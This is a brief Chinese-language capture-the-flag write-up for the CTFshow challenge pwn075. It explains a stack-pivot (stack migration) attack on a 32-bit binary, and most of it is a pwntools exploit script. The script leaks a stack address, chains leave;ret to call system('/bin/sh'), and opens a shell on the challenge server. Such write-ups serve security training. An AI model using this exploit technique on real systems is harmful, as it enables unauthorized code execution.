CTFshow pwn075
题目描述：栈空间不够怎么办？
首先检查保护：
32位开启NX保护，部分开启RELRO，放入ida中看
有两次输入点，输入只能到返回地址，所以考虑用到栈迁移
exp:
from pwn import *p = remote("pwn.challenge.ctf.show",28276)
elf = ELF("./pwn75")
#p = process([elf.path])
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
leave=0x08048766
payload='a'*0x28
p.recvuntil('codename:')
p.send(payload)
buf=u32(p.recvuntil('\xff')[-4:])-0x38
info("bufaddr:"+hex(buf))
payload = (p32(elf.plt['system']) + 'aaaa' + p32(buf + 12) + '/bin/sh\x00').ljust(0x28,'a')+p32(buf-4) +p32(leave)p.send(payload)
#gdb.attach(p)
p.interactive()
